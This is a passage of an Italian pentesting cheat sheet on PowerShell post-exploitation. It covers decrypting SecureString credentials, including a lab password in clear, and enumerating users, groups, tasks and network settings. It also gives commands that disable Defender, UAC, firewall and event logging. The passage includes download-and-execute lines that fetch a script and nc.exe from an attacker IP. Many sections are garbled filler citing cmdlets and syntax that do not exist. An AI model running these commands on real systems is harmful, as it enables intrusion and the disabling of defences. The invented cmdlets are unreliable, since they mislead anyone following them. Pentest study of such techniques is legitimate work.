, specifica la stringa sicura da convertire utilizzando l'opzione -String
. L'opzione -AsPlainText
indica che la stringa deve essere convertita in testo normale. L'opzione -Force
è necessaria per forzare la conversione.
Successivamente, utilizzando la classe [System.Runtime.InteropServices.Marshal]
, puoi convertire la stringa sicura in testo normale utilizzando il metodo SecureStringToBSTR
. Infine, utilizzando il metodo PtrToStringAuto
, puoi ottenere il testo normale dalla stringa convertita.
Ricorda che la conversione di una stringa sicura in testo normale può rappresentare un rischio per la sicurezza, quindi utilizza questa tecnica con cautela e solo quando strettamente necessario.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
O direttamente analizzando il modulo XML:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
SUDO è un comando utilizzato nei sistemi operativi Unix-like per consentire agli utenti di eseguire comandi con i privilegi di un altro utente, di solito l'utente root. Questo può essere utile per gli amministratori di sistema che desiderano delegare temporaneamente i privilegi di amministrazione a un utente senza dover condividere la password dell'account root.
Per utilizzare SUDO, è necessario essere un utente autorizzato e avere i permessi necessari per eseguire il comando desiderato. Per eseguire un comando con SUDO, è sufficiente digitare "sudo" seguito dal comando desiderato. Ad esempio, per eseguire il comando "apt-get update" con i privilegi di root, è possibile digitare:
sudo apt-get update
Verrà richiesta la password dell'utente corrente e, se corretta, il comando verrà eseguito con i privilegi di root.
È importante utilizzare SUDO con cautela e solo quando necessario, in quanto l'esecuzione di comandi con privilegi di amministrazione può comportare rischi per la sicurezza del sistema. Inoltre, è consigliabile limitare l'accesso SUDO solo agli utenti autorizzati e monitorare attentamente l'utilizzo di SUDO per rilevare eventuali abusi o attività sospette.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Gruppi
Introduction
In Windows, groups are used to organize and manage user accounts. They provide a way to assign permissions and access rights to multiple users at once. This section will cover the basics of working with groups in PowerShell.
List Groups
To list all the groups on a Windows system, you can use the Get-LocalGroup
cmdlet. This will display a list of all the local groups on the machine.
Get-LocalGroup
Create a Group
To create a new group, you can use the New-LocalGroup
cmdlet. Specify the name of the group using the -Name
parameter.
New-LocalGroup -Name "MyGroup"
Add Members to a Group
To add members to a group, you can use the Add-LocalGroupMember
cmdlet. Specify the group name using the -Group
parameter, and the user name using the -Member
parameter.
Add-LocalGroupMember -Group "MyGroup" -Member "User1"
Remove Members from a Group
To remove members from a group, you can use the Remove-LocalGroupMember
cmdlet. Specify the group name using the -Group
parameter, and the user name using the -Member
parameter.
Remove-LocalGroupMember -Group "MyGroup" -Member "User1"
Delete a Group
To delete a group, you can use the Remove-LocalGroup
cmdlet. Specify the group name using the -Name
parameter.
Remove-LocalGroup -Name "MyGroup"
Conclusion
Groups are an important part of managing user accounts and permissions in Windows. PowerShell provides a convenient way to work with groups, allowing you to create, modify, and delete groups as needed.
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Appunti
I dati copiati negli appunti del sistema operativo possono essere un obiettivo interessante per un attaccante. Questi dati possono includere informazioni sensibili come password, indirizzi email o numeri di carta di credito. Inoltre, gli appunti possono essere utilizzati per trasferire dati tra applicazioni o per semplificare il processo di copia e incolla.
Rilevamento degli appunti
Per rilevare i dati presenti negli appunti, è possibile utilizzare il modulo Clipboard
di PowerShell. Questo modulo fornisce una serie di comandi per interagire con gli appunti del sistema operativo.
# Ottieni il contenuto degli appunti
Get-Clipboard
# Imposta il contenuto degli appunti
Set-Clipboard -Text "Testo da copiare negli appunti"
# Aggiungi il contenuto agli appunti
Add-Clipboard -Text "Testo da aggiungere agli appunti"
Utilizzo degli appunti per l'attacco
Gli appunti possono essere utilizzati in diversi scenari di attacco. Ad esempio, un attaccante potrebbe sfruttare una vulnerabilità in un'applicazione per copiare dati sensibili negli appunti e quindi recuperarli successivamente. Inoltre, gli appunti possono essere utilizzati per eseguire attacchi di phishing, copiando un URL dannoso negli appunti e inducendo l'utente a incollarlo nel browser.
Protezione degli appunti
Per proteggere i dati sensibili negli appunti, è consigliabile adottare le seguenti misure:
- Evitare di copiare dati sensibili negli appunti, se possibile.
- Assicurarsi di svuotare gli appunti dopo averli utilizzati.
- Utilizzare strumenti di sicurezza che monitorano e bloccano l'accesso non autorizzato agli appunti.
- Mantenere il sistema operativo e le applicazioni sempre aggiornati per ridurre il rischio di vulnerabilità che potrebbero essere sfruttate per accedere agli appunti.
Get-Clipboard
Processi
A process is an instance of a program that is being executed by the operating system. In Windows, processes can be managed and controlled using PowerShell. Here are some basic PowerShell commands for working with processes:
Get-Process
The Get-Process
command is used to retrieve information about running processes. It provides details such as the process ID (PID), name, CPU usage, and memory usage. Here is an example of how to use this command:
Get-Process
Start-Process
The Start-Process
command is used to launch a new process. It can be used to open applications, run scripts, or execute commands. Here is an example of how to use this command:
Start-Process -FilePath "C:\Program Files\Internet Explorer\iexplore.exe"
Stop-Process
The Stop-Process
command is used to terminate a running process. It requires the process ID (PID) as input. Here is an example of how to use this command:
Stop-Process -ID 1234
Wait-Process
The Wait-Process
command is used to wait for a process to exit before continuing with the script. It requires the process ID (PID) as input. Here is an example of how to use this command:
Wait-Process -ID 1234
Invoke-Command
The Invoke-Command
command is used to run commands on remote computers. It can be used to manage processes on remote machines. Here is an example of how to use this command:
Invoke-Command -ComputerName "RemoteComputer" -ScriptBlock { Get-Process }
These are just a few basic PowerShell commands for working with processes. PowerShell provides many more commands and options for managing and controlling processes in Windows.
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Servizi
PowerShell Remoting
Enable PowerShell Remoting
Per abilitare il PowerShell Remoting su una macchina Windows, eseguire il seguente comando:
Enable-PSRemoting -Force
Disable PowerShell Remoting
Per disabilitare il PowerShell Remoting su una macchina Windows, eseguire il seguente comando:
Disable-PSRemoting -Force
Test PowerShell Remoting
Per testare se il PowerShell Remoting è abilitato su una macchina Windows, eseguire il seguente comando:
Test-WSMan
Windows Remote Management (WinRM)
Enable WinRM
Per abilitare il Windows Remote Management (WinRM) su una macchina Windows, eseguire il seguente comando:
winrm quickconfig
Disable WinRM
Per disabilitare il Windows Remote Management (WinRM) su una macchina Windows, eseguire il seguente comando:
winrm quickconfig -undo
Test WinRM
Per testare se il Windows Remote Management (WinRM) è abilitato su una macchina Windows, eseguire il seguente comando:
Test-WSMan
Windows Management Instrumentation (WMI)
Enable WMI
Per abilitare il Windows Management Instrumentation (WMI) su una macchina Windows, eseguire il seguente comando:
Enable-WmiObject -Namespace "root\cimv2" -Class "__SystemSecurity" -EnableAllPrivileges
Disable WMI
Per disabilitare il Windows Management Instrumentation (WMI) su una macchina Windows, eseguire il seguente comando:
Disable-WmiObject -Namespace "root\cimv2" -Class "__SystemSecurity"
Test WMI
Per testare se il Windows Management Instrumentation (WMI) è abilitato su una macchina Windows, eseguire il seguente comando:
Get-WmiObject -Namespace "root\cimv2" -Class "__SystemSecurity"
Remote Registry
Enable Remote Registry
Per abilitare il Remote Registry su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "RemoteRegistry" -StartupType Automatic
Disable Remote Registry
Per disabilitare il Remote Registry su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "RemoteRegistry" -StartupType Disabled
Test Remote Registry
Per testare se il Remote Registry è abilitato su una macchina Windows, eseguire il seguente comando:
Get-Service -Name "RemoteRegistry"
Windows Firewall
Enable Windows Firewall
Per abilitare il Windows Firewall su una macchina Windows, eseguire il seguente comando:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
Disable Windows Firewall
Per disabilitare il Windows Firewall su una macchina Windows, eseguire il seguente comando:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Test Windows Firewall
Per testare se il Windows Firewall è abilitato su una macchina Windows, eseguire il seguente comando:
Get-NetFirewallProfile
User Account Control (UAC)
Disable UAC
Per disabilitare l'User Account Control (UAC) su una macchina Windows, eseguire il seguente comando:
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0
Enable UAC
Per abilitare l'User Account Control (UAC) su una macchina Windows, eseguire il seguente comando:
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1
Test UAC
Per testare se l'User Account Control (UAC) è abilitato su una macchina Windows, eseguire il seguente comando:
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA"
Windows Defender
Disable Windows Defender
Per disabilitare il Windows Defender su una macchina Windows, eseguire il seguente comando:
Set-MpPreference -DisableRealtimeMonitoring $true
Enable Windows Defender
Per abilitare il Windows Defender su una macchina Windows, eseguire il seguente comando:
Set-MpPreference -DisableRealtimeMonitoring $false
Test Windows Defender
Per testare se il Windows Defender è abilitato su una macchina Windows, eseguire il seguente comando:
Get-MpPreference | Select-Object -Property DisableRealtimeMonitoring
Windows Update
Disable Windows Update
Per disabilitare il Windows Update su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "wuauserv" -StartupType Disabled
Enable Windows Update
Per abilitare il Windows Update su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "wuauserv" -StartupType Automatic
Test Windows Update
Per testare se il Windows Update è abilitato su una macchina Windows, eseguire il seguente comando:
Get-Service -Name "wuauserv"
Windows Event Log
Disable Windows Event Log
Per disabilitare il Windows Event Log su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "EventLog" -StartupType Disabled
Enable Windows Event Log
Per abilitare il Windows Event Log su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "EventLog" -StartupType Automatic
Test Windows Event Log
Per testare se il Windows Event Log è abilitato su una macchina Windows, eseguire il seguente comando:
Get-Service -Name "EventLog"
Windows Services
Disable a Service
Per disabilitare un servizio su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "NomeServizio" -StartupType Disabled
Enable a Service
Per abilitare un servizio su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "NomeServizio" -StartupType Automatic
Test a Service
Per testare se un servizio è abilitato su una macchina Windows, eseguire il seguente comando:
Get-Service -Name "NomeServizio"
Windows Scheduled Tasks
Disable a Scheduled Task
Per disabilitare un'attività pianificata su una macchina Windows, eseguire il seguente comando:
Disable-ScheduledTask -TaskName "NomeAttività"
Enable a Scheduled Task
Per abilitare un'attività pianificata su una macchina Windows, eseguire il seguente comando:
Enable-ScheduledTask -TaskName "NomeAttività"
Test a Scheduled Task
Per testare se un'attività pianificata è abilitata su una macchina Windows, eseguire il seguente comando:
Get-ScheduledTask -TaskName "NomeAttività"
Windows Startup Programs
Disable a Startup Program
Per disabilitare un programma di avvio su una macchina Windows, eseguire il seguente comando:
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "NomeProgramma" -Value ""
Enable a Startup Program
Per abilitare un programma di avvio su una macchina Windows, eseguire il seguente comando:
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "NomeProgramma" -Value "PercorsoProgramma"
Test a Startup Program
Per testare se un programma di avvio è abilitato su una macchina Windows, eseguire il seguente comando:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "NomeProgramma"
Windows User Accounts
Disable a User Account
Per disabilitare un account utente su una macchina Windows, eseguire il seguente comando:
Disable-LocalUser -Name "NomeUtente"
Enable a User Account
Per abilitare un account utente su una macchina Windows, eseguire il seguente comando:
Enable-LocalUser -Name "NomeUtente"
Test a User Account
Per testare se un account utente è abilitato su una macchina Windows, eseguire il seguente comando:
Get-LocalUser -Name "NomeUtente"
Windows Group Accounts
Disable a Group Account
Per disabilitare un account di gruppo su una macchina Windows, eseguire il seguente comando:
Disable-LocalGroup -Name "NomeGruppo"
Enable a Group Account
Per abilitare un account di gruppo su una macchina Windows, eseguire il seguente comando:
Enable-LocalGroup -Name "NomeGruppo"
Test a Group Account
Per testare se un account di gruppo è abilitato su una macchina Windows, eseguire il seguente comando:
Get-LocalGroup -Name "NomeGruppo"
Windows File Permissions
Disable Inheritance
Per disabilitare l'ereditarietà delle autorizzazioni di un file o una cartella su una macchina Windows, eseguire il seguente comando:
icacls "PercorsoFile" /inheritance:d
Enable Inheritance
Per abilitare l'ereditarietà delle autorizzazioni di un file o una cartella su una macchina Windows, eseguire il seguente comando:
icacls "PercorsoFile" /inheritance:e
Test File Permissions
Per testare le autorizzazioni di un file o una cartella su una macchina Windows, eseguire il seguente comando:
icacls "PercorsoFile"
Windows Registry Permissions
Disable Registry Key Permissions
Per disabilitare le autorizzazioni di una chiave di registro su una macchina Windows, eseguire il seguente comando:
Set-Acl -Path "HKLM:\Path\To\Registry\Key" -AclObject $null
Enable Registry Key Permissions
Per abilitare le autorizzazioni di una chiave di registro su una macchina Windows, eseguire il seguente comando:
Set-Acl -Path "HKLM:\Path\To\Registry\Key" -AclObject (Get-Acl -Path "HKLM:\Path\To\Registry\Key")
Test Registry Key Permissions
Per testare le autorizzazioni di una chiave di registro su una macchina Windows, eseguire il seguente comando:
Get-Acl -Path "HKLM:\Path\To\Registry\Key"
Windows Group Policy
Disable Group Policy
Per disabilitare una Group Policy su una macchina Windows, eseguire il seguente comando:
Set-GPRegistryValue -Name "NomePolicy" -Key "HKLM\Path\To\Registry\Key" -ValueName "NomeValore" -Type "String" -Value ""
Enable Group Policy
Per abilitare una Group Policy su una macchina Windows, eseguire il seguente comando:
Set-GPRegistryValue -Name "NomePolicy" -Key "HKLM\Path\To\Registry\Key" -ValueName "NomeValore" -Type "String" -Value "Valore"
Test Group Policy
Per testare se una Group Policy è abilitata su una macchina Windows, eseguire il seguente comando:
Get-GPRegistryValue -Name "NomePolicy" -Key "HKLM\Path\To\Registry\Key" -ValueName "NomeValore"
Windows Audit Policies
Disable Audit Policy
Per disabilitare una Audit Policy su una macchina Windows, eseguire il seguente comando:
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\Audit" -Name "NomePolicy" -Value 0
Enable Audit Policy
Per abilitare una Audit Policy su una macchina Windows, eseguire il seguente comando:
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\Audit" -Name "NomePolicy" -Value 1
Test Audit Policy
Per testare se una Audit Policy è abilitata su una macchina Windows, eseguire il seguente comando:
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\Audit" -Name "NomePolicy"
Windows Security Options
Disable Security Option
Per disabilitare una Security Option su una macchina Windows, eseguire il seguente comando:
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "NomeOpzione" -Value 0
Enable Security Option
Per abilitare una Security Option su una macchina Windows, eseguire il seguente comando:
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "NomeOpzione" -Value 1
Test Security Option
Per testare se una Security Option è abilitata su una macchina Windows, eseguire il seguente comando:
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "NomeOpzione"
Windows AppLocker
Disable AppLocker
Per disabilitare l'AppLocker su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "AppIDSvc" -StartupType Disabled
Enable AppLocker
Per abilitare l'AppLocker su una macchina Windows, eseguire il seguente comando:
Set-Service -Name "AppIDSvc" -StartupType Automatic
Test AppLocker
Per testare se l'AppLocker è abilitato su una macchina Windows, eseguire il seguente comando:
Get-Service -Name "AppIDSvc"
Windows BitLocker
Disable BitLocker
Per disabilitare il BitLocker su una macchina Windows, eseguire il seguente comando:
Disable-BitLocker -MountPoint "PercorsoUnità"
Enable BitLocker
Per abilitare il BitLocker su una macchina Windows, eseguire il seguente comando:
Enable-BitLocker -MountPoint "PercorsoUnità" -EncryptionMethod "AES256" -UsedSpaceOnly
Test BitLocker
Per testare se il BitLocker è abilitato su una macchina Windows, eseguire il seguente comando:
Get-BitLockerVolume -MountPoint "PercorsoUnità"
Windows Credential Guard
Disable Credential Guard
Per disabilitare il Credential Guard su una macchina Windows, eseguire il seguente comando:
Disable-CredentialGuard
Enable Credential Guard
Per abilitare il Credential Guard su una macchina Windows, eseguire il seguente comando:
Enable-CredentialGuard
Test Credential Guard
Per testare se il Credential Guard è abilitato su una macchina Windows, eseguire il seguente comando:
Get-CredentialGuard
Windows Device Guard
Disable Device Guard
Per disabilitare il Device Guard su una macchina Windows, eseguire il seguente comando:
Disable-DeviceGuard
Enable Device Guard
Per abilitare il Device Guard su una macchina Windows, eseguire il seguente comando:
Enable-DeviceGuard
Test Device Guard
Per testare se il Device Guard è abilitato su una macchina Windows, eseguire il seguente comando:
Get-DeviceGuard
Windows Exploit Guard
Disable Exploit Guard
Per disabilitare l'Exploit Guard su una macchina Windows, eseguire il seguente comando:
Disable-ExploitGuard
Enable Exploit Guard
Per abilitare l'Exploit Guard su una macchina Windows, eseguire il seguente comando:
Enable-ExploitGuard
Test Exploit Guard
Per testare se l'Exploit Guard è abilitato su una macchina Windows, eseguire il seguente comando:
Get-ExploitGuard
Windows Firewall with Advanced Security
Disable Windows Firewall with Advanced
Get-Service
Password da secure string
Sometimes, during a penetration test, you may come across a situation where you need to retrieve a password stored as a secure string in PowerShell. A secure string is a way to store sensitive information, such as passwords, in an encrypted format.
To retrieve the password from a secure string, you can use the following PowerShell code:
$secureString = ConvertTo-SecureString -String "encrypted_password" -AsPlainText -Force
$plainTextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
In the code above, replace "encrypted_password" with the actual secure string you want to decrypt. After executing the code, the variable $plainTextPassword
will contain the decrypted password.
Keep in mind that this technique should only be used for legitimate purposes, such as during a penetration test or when authorized to access the system.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Attività pianificate
Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or events. As a pentester, understanding how to manipulate and exploit scheduled tasks can be extremely valuable.
Le attività pianificate sono una potente funzionalità di Windows che ti permette di automatizzare l'esecuzione di script o programmi in momenti o eventi specifici. Come pentester, comprendere come manipolare ed sfruttare le attività pianificate può essere estremamente vantaggioso.
Viewing Scheduled Tasks
Visualizzazione delle attività pianificate
To view the list of scheduled tasks on a Windows system, you can use the schtasks
command in PowerShell. This command allows you to list, create, modify, and delete scheduled tasks.
Per visualizzare l'elenco delle attività pianificate su un sistema Windows, puoi utilizzare il comando schtasks
in PowerShell. Questo comando ti permette di elencare, creare, modificare ed eliminare le attività pianificate.
schtasks /query /fo LIST /v
Creating a Scheduled Task
Creazione di un'attività pianificata
To create a new scheduled task, you can use the schtasks
command with the /create
option. You will need to specify the task name, the program or script to be executed, and the schedule for the task.
Per creare una nuova attività pianificata, puoi utilizzare il comando schtasks
con l'opzione /create
. Dovrai specificare il nome dell'attività, il programma o lo script da eseguire e l'orario per l'attività.
schtasks /create /tn TaskName /tr "C:\Path\to\program.exe" /sc DAILY /st 12:00
Modifying a Scheduled Task
Modifica di un'attività pianificata
To modify an existing scheduled task, you can use the schtasks
command with the /change
option. You will need to specify the task name and the new settings for the task.
Per modificare un'attività pianificata esistente, puoi utilizzare il comando schtasks
con l'opzione /change
. Dovrai specificare il nome dell'attività e le nuove impostazioni per l'attività.
schtasks /change /tn TaskName /tr "C:\Path\to\newprogram.exe" /sc WEEKLY /d MON
Deleting a Scheduled Task
Eliminazione di un'attività pianificata
To delete a scheduled task, you can use the schtasks
command with the /delete
option. You will need to specify the task name.
Per eliminare un'attività pianificata, puoi utilizzare il comando schtasks
con l'opzione /delete
. Dovrai specificare il nome dell'attività.
schtasks /delete /tn TaskName
Disabling a Scheduled Task
Disabilitazione di un'attività pianificata
To disable a scheduled task without deleting it, you can use the schtasks
command with the /change
option and set the /disable
flag to yes
. You will need to specify the task name.
Per disabilitare un'attività pianificata senza eliminarla, puoi utilizzare il comando schtasks
con l'opzione /change
e impostare il flag /disable
su yes
. Dovrai specificare il nome dell'attività.
schtasks /change /tn TaskName /disable yes
Enabling a Scheduled Task
Abilitazione di un'attività pianificata
To enable a disabled scheduled task, you can use the schtasks
command with the /change
option and set the /disable
flag to no
. You will need to specify the task name.
Per abilitare un'attività pianificata disabilitata, puoi utilizzare il comando schtasks
con l'opzione /change
e impostare il flag /disable
su no
. Dovrai specificare il nome dell'attività.
schtasks /change /tn TaskName /disable no
Summary
Riepilogo
Scheduled tasks are a useful feature in Windows that can be leveraged by pentesters to automate the execution of scripts or programs. By understanding how to view, create, modify, and delete scheduled tasks, you can effectively manipulate and exploit this feature during your pentesting engagements.
Le attività pianificate sono una funzionalità utile in Windows che può essere sfruttata dai pentester per automatizzare l'esecuzione di script o programmi. Comprendendo come visualizzare, creare, modificare ed eliminare le attività pianificate, puoi manipolare ed sfruttare efficacemente questa funzionalità durante i tuoi incarichi di pentesting.
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Rete
Scansione delle porte
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Interfacce
Le interfacce in PowerShell sono oggetti che definiscono un contratto per le classi che le implementano. Un'interfaccia specifica quali metodi, proprietà e eventi devono essere presenti nella classe che la implementa.
Le interfacce possono essere utilizzate per definire un set di comportamenti comuni che possono essere condivisi tra diverse classi. Ciò consente di creare un codice più modulare e riutilizzabile.
Per dichiarare un'interfaccia in PowerShell, è possibile utilizzare la parola chiave interface
. Ad esempio:
interface IExampleInterface {
[string] ExampleMethod()
[int] ExampleProperty {get;set;}
event ExampleEvent
}
Per implementare un'interfaccia in una classe, è necessario utilizzare la parola chiave implements
. Ad esempio:
class ExampleClass : IExampleInterface {
[string] ExampleMethod() {
# Implementazione del metodo
}
[int] ExampleProperty {get;set;}
event ExampleEvent {
# Implementazione dell'evento
}
}
Le interfacce possono essere utilizzate per definire contratti comuni tra le classi e consentire la creazione di codice più modulare e riutilizzabile.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall
Un firewall è un componente essenziale per la sicurezza di un sistema operativo Windows. Esso funge da barriera tra la rete interna e quella esterna, controllando il traffico di rete in entrata e in uscita. Il firewall può essere configurato per consentire o bloccare specifici tipi di traffico, in base alle regole definite.
Configurazione del firewall
La configurazione del firewall può essere effettuata tramite PowerShell utilizzando il modulo NetSecurity
. Di seguito sono riportati alcuni comandi utili per la configurazione del firewall:
- Visualizzare le regole del firewall:
Get-NetFirewallRule
- Creare una nuova regola:
New-NetFirewallRule
- Modificare una regola esistente:
Set-NetFirewallRule
- Eliminare una regola:
Remove-NetFirewallRule
Esempi di utilizzo
Visualizzare le regole del firewall
Get-NetFirewallRule
Creare una nuova regola
New-NetFirewallRule -DisplayName "Regola personalizzata" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080
Modificare una regola esistente
Set-NetFirewallRule -DisplayName "Regola personalizzata" -Action Block
Eliminare una regola
Remove-NetFirewallRule -DisplayName "Regola personalizzata"
È importante comprendere le impostazioni di configurazione del firewall e utilizzare le regole appropriate per proteggere il sistema operativo Windows da potenziali minacce esterne.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Percorso
Il comando route
in PowerShell viene utilizzato per visualizzare e manipolare la tabella di routing del sistema operativo Windows. La tabella di routing contiene le informazioni necessarie per instradare il traffico di rete tra diverse reti.
Sintassi
route [-f] [-p] [-4|-6] [comando [destinazione] [mask subnet] [gateway] [metrica]]
Parametri
-f
: Forza l'eliminazione di tutte le voci nella tabella di routing e quindi ricarica le voci di routing predefinite.-p
: Rende persistente la modifica apportata alla tabella di routing. In questo modo, le modifiche sopravvivono anche dopo il riavvio del sistema.-4
: Specifica che il comando deve essere eseguito solo per le voci IPv4 nella tabella di routing.-6
: Specifica che il comando deve essere eseguito solo per le voci IPv6 nella tabella di routing.
Esempi
- Visualizza la tabella di routing:
route print
- Aggiungi una nuova voce alla tabella di routing:
route add 192.168.1.0 mask 255.255.255.0 192.168.0.1
- Elimina una voce dalla tabella di routing:
route delete 192.168.1.0
- Modifica una voce esistente nella tabella di routing:
route change 192.168.1.0 mask 255.255.255.0 192.168.0.2
- Forza l'eliminazione di tutte le voci nella tabella di routing e ricarica le voci di routing predefinite:
route -f
- Rende persistente una modifica alla tabella di routing:
route -p add 192.168.1.0 mask 255.255.255.0 192.168.0.1
route print
ARP
L'Address Resolution Protocol (ARP) è un protocollo di rete utilizzato per associare un indirizzo IP a un indirizzo MAC all'interno di una rete locale. Questo protocollo è essenziale per il funzionamento delle reti Ethernet, in quanto consente ai dispositivi di comunicare tra loro utilizzando gli indirizzi MAC.
L'ARP funziona inviando richieste di ARP broadcast all'interno della rete locale, chiedendo quale dispositivo possiede un determinato indirizzo IP. Il dispositivo con l'indirizzo IP richiesto risponderà con il proprio indirizzo MAC, consentendo così al mittente di inviare pacchetti direttamente a quel dispositivo.
Tuttavia, l'ARP può essere sfruttato da hacker malevoli per condurre attacchi di spoofing, in cui un dispositivo si finge un altro dispositivo all'interno della rete. Questo può consentire all'attaccante di intercettare o manipolare il traffico di rete.
Per proteggere una rete da attacchi ARP, è possibile implementare misure di sicurezza come l'ARP spoofing detection e la configurazione di tabelle ARP statiche. Inoltre, è importante mantenere il software di rete aggiornato per mitigare le vulnerabilità note.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosts
Gli host sono file di configurazione utilizzati dal sistema operativo Windows per mappare gli indirizzi IP a nomi di dominio. Questo file può essere utilizzato per bloccare o reindirizzare determinati siti web. Di seguito sono riportati alcuni punti da tenere in considerazione riguardo al file degli host:
- Il percorso predefinito del file degli host è
C:\Windows\System32\drivers\etc\hosts
. - Il file degli host può essere modificato utilizzando un editor di testo come Notepad o Notepad++.
- Per apportare modifiche al file degli host, è necessario disporre di privilegi di amministratore.
- È possibile bloccare un sito web aggiungendo una riga nel file degli host che mappa l'indirizzo IP del sito web a
127.0.0.1
. - È possibile reindirizzare un sito web aggiungendo una riga nel file degli host che mappa l'indirizzo IP del sito web a un altro indirizzo IP desiderato.
- È possibile commentare una riga nel file degli host aggiungendo il simbolo
#
all'inizio della riga. - È possibile creare alias per gli indirizzi IP aggiungendo una riga nel file degli host che mappa un nome di dominio a un indirizzo IP specifico.
È importante notare che le modifiche apportate al file degli host avranno effetto solo sul computer locale e non influenzeranno altri dispositivi nella rete.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
Il comando ping
